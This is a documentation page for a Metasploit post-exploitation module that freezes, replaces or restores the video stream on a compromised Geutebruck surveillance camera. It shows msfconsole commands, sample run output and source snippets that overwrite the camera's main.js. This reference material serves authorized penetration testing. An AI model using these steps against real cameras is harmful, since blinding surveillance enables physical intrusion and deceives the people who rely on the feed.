Geutebruck Camera Deface - Metasploit

This page contains detailed information about how to use the post/linux/manage/geutebruck_post_exp metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview

Name: Geutebruck Camera Deface
Module: post/linux/manage/geutebruck_post_exp
Source code: modules/post/linux/manage/geutebruck_post_exp.rb
Disclosure date: -
Last modification time: 2021-09-03 12:30:12 +0000
Supported architecture(s): -
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will take an existing session on a vulnerable Geutebruck Camera and will allow the user to either freeze the camera and display the last image from the video stream, display an image on the camera, or restore the camera back to displaying the current feed/stream.

Module Ranking and Traits

Module Ranking:

• normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/linux/manage/geutebruck_post_exp

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/linux/manage/geutebruck_post_exp
msf post(geutebruck_post_exp) > show options
    ... show and set options ...
msf post(geutebruck_post_exp) > set SESSION session-id
msf post(geutebruck_post_exp) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:

framework.sessions.each_pair do |sid, session|
  run_single("use post/linux/manage/geutebruck_post_exp")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

• SESSION: The session to run this module on.

Knowledge Base

msf6 > use post/linux/manage/geutebruck_post_exp
msf6 post(linux/manage/geutebruck_post_exp) > show options

Module options (post/linux/manage/geutebruck_post_exp):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   IMAGE                     no        Full path to the local copy of the image to upload
   SESSION                   yes       The session to run this module on.


Post action:

   Name           Description
   ----           -----------
   FREEZE_CAMERA  Freeze the camera and display the last image taken from the video stream


msf6 post(linux/manage/geutebruck_post_exp) > show actions

Post actions:

   Name           Description
   ----           -----------
   CHANGE_IMAGE   Display an arbitrary image instead of the video stream
   FREEZE_CAMERA  Freeze the camera and display the last image taken from the video stream
   RESUME_STREAM  Resume the camera's video stream and display the current live feed

msf6 post(linux/manage/geutebruck_post_exp) > set IMAGE /var/randori.jpg
IMAGE => /var/randori.jpg
msf6 post(linux/manage/geutebruck_post_exp) > set action CHANGE_IMAGE
action => CHANGE_IMAGE
msf6 post(linux/manage/geutebruck_post_exp) > set session 1
session => 1
msf6 post(linux/manage/geutebruck_post_exp) > run

[!] SESSION may not be compatible with this module.
[*] -- Starting action --
[*] Uploading a custom image...
[*] Backing up the original main.js...
[*] Using the new main.js...
[*] Done! The stream should be replaced by your image!
[*] Post module execution completed
msf6 post(linux/manage/geutebruck_post_exp) > set action FREEZE_CAMERA
action => FREEZE_CAMERA
msf6 post(linux/manage/geutebruck_post_exp) > run

[!] SESSION may not be compatible with this module.
[*] -- Starting action --
[*] Taking a snapshot of the current stream to use as the static image to freeze the stream on...
[*] Freezing the stream on the captured image...
[*] Backing up the original main.js...
[*] Using the new main.js...
[*] Stream frozen!
[*] Post module execution completed
msf6 post(linux/manage/geutebruck_post_exp) > set action RESUME_STREAM
action => RESUME_STREAM
msf6 post(linux/manage/geutebruck_post_exp) > run

[!] SESSION may not be compatible with this module.
[*] -- Starting action --
[*] Resuming stream...
[*] Restoring main.js backup...
[*] Restored! Stream back to a normal state.
[*] Post module execution completed

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Msfconsole Usage

Here is how the linux/manage/geutebruck_post_exp post exploitation module looks in the msfconsole:

msf6 > use post/linux/manage/geutebruck_post_exp

msf6 post(linux/manage/geutebruck_post_exp) > show info

       Name: Geutebruck Camera Deface
     Module: post/linux/manage/geutebruck_post_exp
   Platform: Linux
       Arch: 
       Rank: Normal

Provided by:
  Ibrahim Ayadhi
  S��bastien Charbonnier

Compatible session types:
  Shell

Available actions:
  Name           Description
  ----           -----------
  CHANGE_IMAGE   Display an arbitrary image instead of the video stream
  FREEZE_CAMERA  Freeze the camera and display the last image taken from the video stream
  RESUME_STREAM  Resume the camera's video stream and display the current live feed

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  IMAGE                     no        Full path to the local copy of the image to upload
  SESSION                   yes       The session to run this module on.

Description:
  This module will take an existing session on a vulnerable Geutebruck 
  Camera and will allow the user to either freeze the camera and 
  display the last image from the video stream, display an image on 
  the camera, or restore the camera back to displaying the current 
  feed/stream.

Module Options

This is a complete list of options available in the linux/manage/geutebruck_post_exp post exploitation module:

msf6 post(linux/manage/geutebruck_post_exp) > show options

Module options (post/linux/manage/geutebruck_post_exp):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   IMAGE                     no        Full path to the local copy of the image to upload
   SESSION                   yes       The session to run this module on.

Post action:

   Name           Description
   ----           -----------
   FREEZE_CAMERA  Freeze the camera and display the last image taken from the video stream

Advanced Options

Here is a complete list of advanced options supported by the linux/manage/geutebruck_post_exp post exploitation module:

msf6 post(linux/manage/geutebruck_post_exp) > show advanced

Module advanced options (post/linux/manage/geutebruck_post_exp):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the linux/manage/geutebruck_post_exp module can do:

msf6 post(linux/manage/geutebruck_post_exp) > show actions

Post actions:

   Name           Description
   ----           -----------
   CHANGE_IMAGE   Display an arbitrary image instead of the video stream
   FREEZE_CAMERA  Freeze the camera and display the last image taken from the video stream
   RESUME_STREAM  Resume the camera's video stream and display the current live feed

Evasion Options

Here is the full list of possible evasion options supported by the linux/manage/geutebruck_post_exp post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(linux/manage/geutebruck_post_exp) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

The CHANGE_IMAGE action requires the IMAGE option to be set!

Here is a relevant code snippet related to the "The CHANGE_IMAGE action requires the IMAGE option to be set!" error message:

56:	    pwn_main_js
57:	    print_status('Stream frozen!')
58:	  end
59:	
60:	  def action_change_image
61:	    fail_with(Failure::BadConfig, 'The CHANGE_IMAGE action requires the IMAGE option to be set!') if datastore['IMAGE'].blank?
62:	    fail_with(Failure::BadConfig, 'The image path specified by IMAGE does not exist!') unless ::File.exist?(datastore['IMAGE'])
63:	    print_status('Uploading a custom image...')
64:	    upload_file('/usr/www/uapi-cgi/viewer/image.fcgi', datastore['image'])
65:	    pwn_main_js
66:	    print_status('Done! The stream should be replaced by your image!')

The image path specified by IMAGE does not exist!

Here is a relevant code snippet related to the "The image path specified by IMAGE does not exist!" error message:

57:	    print_status('Stream frozen!')
58:	  end
59:	
60:	  def action_change_image
61:	    fail_with(Failure::BadConfig, 'The CHANGE_IMAGE action requires the IMAGE option to be set!') if datastore['IMAGE'].blank?
62:	    fail_with(Failure::BadConfig, 'The image path specified by IMAGE does not exist!') unless ::File.exist?(datastore['IMAGE'])
63:	    print_status('Uploading a custom image...')
64:	    upload_file('/usr/www/uapi-cgi/viewer/image.fcgi', datastore['image'])
65:	    pwn_main_js
66:	    print_status('Done! The stream should be replaced by your image!')
67:	  end

/usr/www/viewer/js/main.js.bak doesn't exist on the target, did you run FREEZE_CAMERA or CHANGE_IMAGE actions yet?

Here is a relevant code snippet related to the "/usr/www/viewer/js/main.js.bak doesn't exist on the target, did you run FREEZE_CAMERA or CHANGE_IMAGE actions yet?" error message:

67:	  end
68:	
69:	  def action_resume_stream
70:	    print_status('Resuming stream...')
71:	    unless file_exist?('/usr/www/viewer/js/main.js.bak')
72:	      fail_with(Failure::NoTarget, "/usr/www/viewer/js/main.js.bak doesn't exist on the target, did you run FREEZE_CAMERA or CHANGE_IMAGE actions yet?")
73:	    end
74:	    print_status('Restoring main.js backup...')
75:	    move_file('/usr/www/viewer/js/main.js.bak', '/usr/www/viewer/js/main.js')
76:	    print_status('Restored! Stream back to a normal state.')
77:	  end

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Related Pull Requests

• #15601 Merged Pull Request: Add Geutebruck Post Exploitation Module

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See Also

Check also the following modules related to this module:

• exploit/linux/http/geutebruck_cmdinject_cve_2021_335xx
• exploit/linux/http/geutebruck_instantrec_bof
• exploit/linux/http/geutebruck_testaction_exec
• post/linux/manage/dns_spoofing
• post/linux/manage/download_exec
• post/linux/manage/iptables_removal
• post/linux/manage/pseudo_shell
• post/linux/manage/sshkey_persistence

Authors

• Ibrahim Ayadhi
• Sébastien Charbonnier

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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